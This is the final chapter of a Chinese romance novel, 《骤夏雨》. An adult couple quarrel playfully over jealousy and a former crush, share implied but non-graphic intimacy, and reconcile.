“不信你检查,”秦见夏将刚充了会电的手机双手奉上,“这两个人微信我都没加,林徐乐我删的是他Q|Q。” 恰逢红绿灯,谈继秋接过手机,被她那句“Q|Q”逗乐。 “你们真幼稚。” “他我不知道,你才是真幼稚,”谈继秋顺手点开她的抖音私信,“怎么会天天偷窥人家的王者主页啊,你跟变态似的。” “……也不知道是谁变态,我昨晚通宵怪谁?”秦见夏说到这就来气,“你采阴补阳了啊怎么一点事都没有。” 她正打算训他两声,谈继秋忽然举着手机面朝她,嘴唇绷成一道直线—— “来,秦见夏,你给我说说看,为什么我拉黑过的人,你都给他们解除了。” “哈哈,”秦见夏干笑两声,缩了缩脖子,“我说我爱护粉丝你信吗。” “你觉得呢?”谈继秋冷笑一声,突然朝右打方向盘。 “唉不是等等——这不是回家的方向啊,哪个家的方向都不是,你要干嘛——”她有种不祥的预感,“我真是觉得你莫名其妙把人家拉黑让我很败好感啊,万一被挂怎么办,到时候网友要说我动不动就给别人毕业,我还怎么赚钱啊!” “你也知道赚钱不容易?那你还给小男模一扫就是三万?” “我去,我就知道你这家伙心胸没那么宽广,”秦见夏灵机一动,抱住他的手臂,“宝宝,你刚刚还叫我宝宝的,咱回家行不,你想开到紫金山上吗!?” 谈继秋打算捉弄她一下,故意说:“宝宝,这么急吗,那我现在就停车……我们还没在车上试过呢。” “!” 秦见夏连忙说:“车上没有放……” 谈继秋存心恶趣味到底:“宝宝你别忘了,我早就结扎过了。” 秦见夏攥着安全带,眼珠子转了转,思考两秒钟后:“那行,就停这吧,咱俩快点完事回家睡觉。” “秦见夏!” “诶在呢。” “你——” “你什么你,你自己要寻求刺激,我顺着你还不行了?” 谈继秋“你”了半天,气笑了:“你可真是我祖宗。” “今天别回叔叔阿姨那了,我先给你抹药。” 他窝窝囊囊地说:“昨天是我不好,下次你晚上出门切记要叫上我,哪怕坐车里等你也行,不要再一个人出去了……今天的事下不为例。” 的确是他有错在先,她不想搭理他也是正常的。 好在今晚没出什么事。 “你知道买药不知道轻点吗!”秦见夏想起来就生气,“每次都这样,说要睡觉了你还不停,每回还要责怪我没有抱抱你,我都快散架重开了我哪来的力气!” “真轻点你又不乐意……” “谈继秋——!!” “我错了宝宝。” “滚!今晚我要回我家!” “我家不就是你家吗,乖,今晚我真的不碰你了。” “你当初禁欲的劲去哪了谈继秋,不是坐怀不乱吗,你是不是被夺舍了!把我的纯情处|男还回来!” “你果然还没忘记那个男模……” “不要顾左右而言他。” “我没文化听不懂。” “你烦不烦,再这样我不理你了。” “宝宝我错了。” “再叫宝宝我也不理你了。” “小夏我错了~” “谈继秋。” “嗯?” “我今天一定要打死你。” “好处说完了,坏处呢。” “……” 秦见夏气得抓起他的手指咬了一口,头发都快竖起来了:“谈继秋你给我等着。” 说是咬,女孩也不舍得真下重口。 谈继秋感觉指尖被小猫幼崽舔了一口似的,刚好将车停进车库,他垂眸瞧着食指上浅浅的牙印,心脏仿佛被羽毛拂过。 他偏过头,抬起她的下巴,情难自禁地印下深吻。 “宝宝,我爱你。” 秦见夏还没消气,被亲懵了,理智回笼又将他推开:“说了不许再叫宝宝,恶不恶心。” 谈继秋低头,又贴上她的唇。 于是秦见夏便什么也记不起来了。 反正,总之…… 她再也无法直视方向盘了。 “嘘——好像有人。” 秦见夏差点哭出来。 真的,要死了。 “你说,我要不要去做个梨涡。” “?” “秦见夏,我和林徐乐谁更帅?” “你能不能先……” “回答我。” “你——” “别说话了,有人。”秦见夏一口啃在他喉结上,声音带着哭腔。 “骗你的,半夜三更哪来的人。” “你没有认真回答我的问题。” “我爱你。” 秦见夏难受至极,哭着说。 “乖。” “下了床你也要记得。” “这里哪来的床,”秦见夏将泪水蹭在他身上,闷声道,“谈继秋我讨厌你。” “嗯,我也爱你。” 谈继秋发现自己也是胆小鬼,他并没有想象中那么豁达。 甚至在此刻,都不敢再往下深究那个问题。 或许是和林徐乐同样的疑问。 他知道在秦见夏最脆弱的时刻,一定会顺着他的话往下说。 他知道自己对秦见夏的攻略进度似乎已经达到百分之百——就连这样也不生他的气,只是软绵绵地趴在他身上。 他现在有足够的安全感。 然而他和林徐乐一样,想知道问题的答案。 人总是贪心的。 都想要再多得到爱人一些。 谈继秋将她抱得更紧了,右手顺着她的头发,将唇在她眉间落下一吻。 “我好累,我不要了。”她累得几乎已经阖上眼睛,伸手将他脑袋推开。 谈继秋帮她披上衣服,哄道:“那你也得先起来,咱们不能这样…回家呀。” 秦见夏闻言,乖顺地抬起身子,然后就听他短促地笑了一声。 “笑什么笑,快给我拿纸!” “你往哪擦呢?” “谈继秋,你给我等着,我一定会打死你的……” 最后还是谈继秋将她抱上楼的。 她早就趴在他怀里睡着了。 谈继秋在电梯里仔细端详她的睡颜,心道他之前发的那张官宣照片明明就很好看。 这种时刻很难形容,像是小狗叼回了最珍爱的那块骨头。 不过—— 他给秦见夏抹药的时候,进行了深刻的自我检讨。 这条狗以后真的不能再这么折腾小骨头了。 - 翌日,秦见夏起床走进厕所,睡眼惺忪地对着镜子一看。 “谈继秋————” 罪魁祸首正好健完身买了她想吃的汤包回来,他放下打包盒跑进卧室:“怎么了?” 秦见夏指着自己脖子上、锁骨处、还有胳膊上、手腕上、腿上,欲哭无泪:“你是不是属狗的。” “这样我怎么穿裙子!” 谈继秋心虚地不敢说话。 她一边尝试用隔离遮住,一边喃喃道:“你说他们能信这是蚊子咬的吗。” “或许……”蚊子斟酌开口,“对不起我发誓我真的很轻了……那现在怎么办。” “能怎么办,反正又不疼不痒的,明天消不了就用遮瑕呗,”秦见夏指了指试验田,“你瞧,这不是看不出来吗,刚好明天给你遮一遮黑眼圈——” “等等。” “你黑眼圈怎么没了。” 秦见夏让他弯下腰,不可置信地扒着他的脸研究了半天。 谈继秋不好意思地挠了挠头:“最近运动后睡眠质量格外高,尤其是你还在我身边。” 意识到“运动”的深刻含义,秦见夏耳尖泛红,捏住他的唇:“闭嘴不许说了,你出去吧我现在想揍人。” “你揍吧,这真是我的锅。”他还不要脸地往前凑了凑……明知她不舍得下手。 秦见夏随手捏了捏他胳膊上的肌肉:“……我打不过你。” “别诽谤,哪次我也没还过手啊。” 她侧目瞧着他明眸皓齿地,心说难道真被采阴补阳了,这怎么水灵得跟男大学生一样。 秦见夏红着脸移开视线,谈继秋不依不饶地凑过来:“你说我和那男模谁好看。” “怎么还没完了,”秦见夏翻了个白眼,边护肤边敷衍他,“你好看。” “不对啊,你最近是不是偷偷用我护肤品了!” “没有,”谈继秋嘚瑟地挑了挑眉,“为夫天生丽质。” 秦见夏踹了他一脚,用下巴点了点面前的瓶瓶罐罐:“我累了,你帮我抹。” 谈继秋遵命,跟擦大宝似的给她抹着脸,又问:“那我和林徐乐谁好看?” 秦见夏顿时哭丧着脸:“昨天还不算补偿你了吗,放过我行吗。” “不行,”谈继秋从一旁拿出支药膏,一本正经地说,“这个药一天抹两次。” 秦见夏试图夺过:“我自己抹。” “你自己抹不了。”谈继秋说着就要拉她坐到床上。 秦见夏幽怨地说:“你比林徐乐帅多了。” 他假装没听到:“说这个干嘛,过来我帮你抹药。” 说着还拍了拍床。 “那我和尼奥尼谁好看?”秦见夏突发奇想,决定用魔法打败魔法。 “为什么要和她比,我心里从始至终都只有你啊,”谈继秋微笑,“过来宝宝,我给你抹药。” “你觉不觉得自己越来越阴阳怪气了,”秦见夏无奈地叹息一声,“林徐乐对你影响很大吗。” “ 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“而且他和她对象都谈好几年了,”秦见夏耐心地说,“你不要想太多,人家或许根本就没喜欢过我。” 谈继秋想说不是的,他看你的眼神绝对喜欢你,但他并不想让她知道这点。 “不是我想太多……万一是你猜错了呢,指不定他早就不打王者了,那号给别人了也说不定。” “你到底想问什么?” 窗外,方才还阳光明媚,此刻却闷雷阵阵,声如怒吼。 秦见夏抱起胳膊,洞悉地盯着他的眼睛:“为什么要和我兜圈子?” “谈继秋,如果要再这样下去,你觉得我们能……” “我说,”他截住她的话,“如果,我是说如果——” “如果昨晚他告诉你,你们之间是一场误会,他一直喜欢你,在等你,你会怎么样呢?” 如果存在平行时空,他们之间没有误会,那他和秦见夏是不是陌生人? 谈继秋觉得这个想法对他太过残忍。 秦见夏没有插科打诨,认真思考半晌,才给出答案:“我会说,那真是没有缘分了。” “就这样?” “就这样。” “难道你以为我会甩了你扭头跟他在一起吗?” “不是,”谈继秋将她搂紧了,“我是担心你忘不掉他。” “我看你真是老毛病又犯了,”秦见夏将他推开,“谈继秋,我告诉你,根本就没有如果。” “哪怕那个男模和这个林徐乐都比你帅、身材都比你好,我还是喜欢你,懂了吗?” “在你心里我到底是多肤浅的人,别自怨自艾了。” “我是喜欢过林徐乐,我承认,但那又怎样了?我喜欢过别人不代表你不够好,”她一把撩开他的衣服,“一天天的别去你那个破健身房了,你每天多陪我几个小时比什么都强,最近搞得跟花孔雀似的,看着烦——” “还偷偷喷我香水!” 谈继秋又将她抱住:“那我这样不安,你会觉得烦吗?” “那我平均一分钟说两句话,你嫌我吵吗?” “不会啊,”他抬起头,“怎么会,很热闹。” 秦见夏被他这个形容逗笑,抚摸着他的背,像是对待孩童一样认真:“谈继秋,我都知道的,你有没有想过,你这样其实也让我很有安全感。” “我也有病,如果你不闹了,我还嫌无聊呢,”秦见夏吻着他的耳廓,“咱俩同病相怜,我不会嫌你烦的。” 谈继秋轻声喘|息,耳朵红得像被烫熟了似的,也无暇再顾及其他。 秦见夏想着,这的确是个情侣间解决问题的好办法。 “好像该检查一下健身成果了。” 外面倏地下起雨来。 谈继秋不好意思瞧她,将目光投向玻璃窗外,一边想着居然下太阳雨了,一边老实将上衣脱掉,任由秦见夏的手为非作歹。 她又说要检查大腿的肌肉。 谈继秋惊呼一声,连忙制止:“不行,明天还有活动……” “有活动怎么了?”秦见夏不理他,继续检查,“刚不是还说要给我抹药吗?” “我说我准备单纯给你抹药你信吗?”谈继秋像是被捉弄的良家妇男,白花花的肌肉晃了秦见夏的双眼,“家里也没了……你的身体真的受不了。” 回旋镖又扎了回来,她湿着双眼,说:“你不是结扎了吗?” “我瞧你昨天玩得不是挺开心?怎么今天又不敢了。” 谈继秋愧疚地不敢抬头。 秦见夏便故意道:“哎过两天好像有个初中同学聚会,也不知道林——” “秦见夏——”他迅速将窗帘闭上,恶狠狠地啮啃着她微肿的红唇,“不许再提他。” “……” 落地窗外,淅淅沥沥的碎雨坠进湖面,溅起阵阵涟漪。 梧桐树叶被这场骤雨洗得发亮,天气依旧晴朗。 夏天再度降临。 (全文完) 《骤夏雨》 二〇二五年八月十四日